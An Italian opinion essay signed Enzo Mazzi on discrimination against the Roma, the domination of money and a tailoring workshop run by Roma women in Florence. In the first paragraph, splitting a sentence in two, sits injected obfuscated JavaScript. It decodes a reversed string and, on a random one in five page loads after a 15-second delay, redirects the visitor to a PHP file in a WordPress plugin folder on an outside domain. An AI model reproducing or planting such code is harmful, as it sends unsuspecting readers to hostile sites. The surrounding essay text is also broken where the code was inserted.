Formiche ribelli

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È nella cultura zingara, di alterità e di libertà, che sta forse il motivo profondo della discriminazione che il popolo rom ha sempre subito nel mondo, ma sta anche la prospettiva di un possibile riscatto. Certo, lo so che c’è anche la sottomissione della donna, l’elemosina e talvolta il furto, lo sfruttamento dei bambini, le spietate lotte interetniche e ora anche la droga. Lo so bene che i rom sono stanziali e che non gli basta più il cielo per tetto, vogliono la casa, i riscaldamenti e l’aria condizionata. Ma frequent (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andoli so anche che i giochi non sono fatti. La cultura zingara forse avrà la sua rivincita e non solo per il popolo rom ma per tutti noi. Perché il dominio del danaro ci rende un po’ tutti zingari.
I rom furono perseguitati, sterilizzati, utilizzati per esperimenti medici, gasati nelle camere a gas dei campi di sterminio, perché «geneticamente pericolosi». Il razzismo fascista e nazista riemerge oggi in modo preoccupante, diverso nella forma uguale nella sostanza. Una nuova concezione della razza pura, quella del dominio globale del danaro sta invadendo il mondo. E lo sta distruggendo. Qui sta il problema. I maestri del pensiero ci dicono che il potere, quello che conta, è nelle mani del signor «nessuno» e chiamano questo dominio del danaro «nemocrazia», cioè dominio di «nessuno».
è una nuova divinità invisibile, innominabile, onnisciente e onnipresente come il vecchio Dio e avida di sacrifici umani. Dove ci sta portando la mostruosità della religione del danaro che per creare ricchezza sta uccidendo la Terra, dove ci conduce la follia del modello di sviluppo fondato sulla divinizzazione della tecnica, del danaro e della competizione mercantile liberista, che disgrega i rapporti umani e impedisce a gran parte della popolazione mondiale di accedere al cibo, all’acqua, alle medicine e alla sopravvivenza? è essenziale che formiche ribelli prendano una strada alternativa. E lo stanno facendo.
Anche i rom, e soprattutto le donne rom, in alcune esperienze stanno smettendo di piangersi addosso e da eterne vittime incominciano a orientarsi verso il riscatto. E allora dobbiamo dire «basta» con l’assistenzialismo compassionevole. Il razzismo si può combattere solo alimentando e valorizzando i percorsi di riscatto. Una piccola ma densa testimonianza di formiche che aprono una strada inconsueta, la troviamo nell’esperienza di «donne per le donne» che ha dato origine al laboratorio «Kimeta» di sartoria e stireria, funzionante da più di dieci anni con ottimi risultati, realizzato insieme da donne dell’Isolotto di Firenze e da donne rom del campo del Poderaccio. è una strada inconsueta perché percorsa da un intreccio di culture femminili, perché è una strada che si apre camminando insieme fin dal primo momento e non è affatto il frutto di un progetto precostituito, perché c’è una crescita collettiva continua che apre orizzonti nuovi per le dirette interessate e per tutti noi, per il territorio, perché è un intrinseco e consapevole superamento del campo, e infine perché funziona. Centinaia di persone hanno superato la consueta prevenzione contro “gli zingari” e ora sono liete di portare bucato da stirare o abiti da aggiustare alle donne rom del Poderaccio. Su questa scia altre esperienze simili di imprenditoria femminile rom sono nate in altre città italiane, come raccontato nel libro «Mani di donne».
La cultura profonda dei rom, quella che i nazisti definivano asocialità genetica e che ora il nostro razzismo vuol trasformare nel capro espiatorio di tutti i mali, ci appartiene e oggi appare forse come una risorsa. Non buttiamola via. Butteremmo una parte di noi e un prezioso patrimonio di speranza.
Enzo Mazzi

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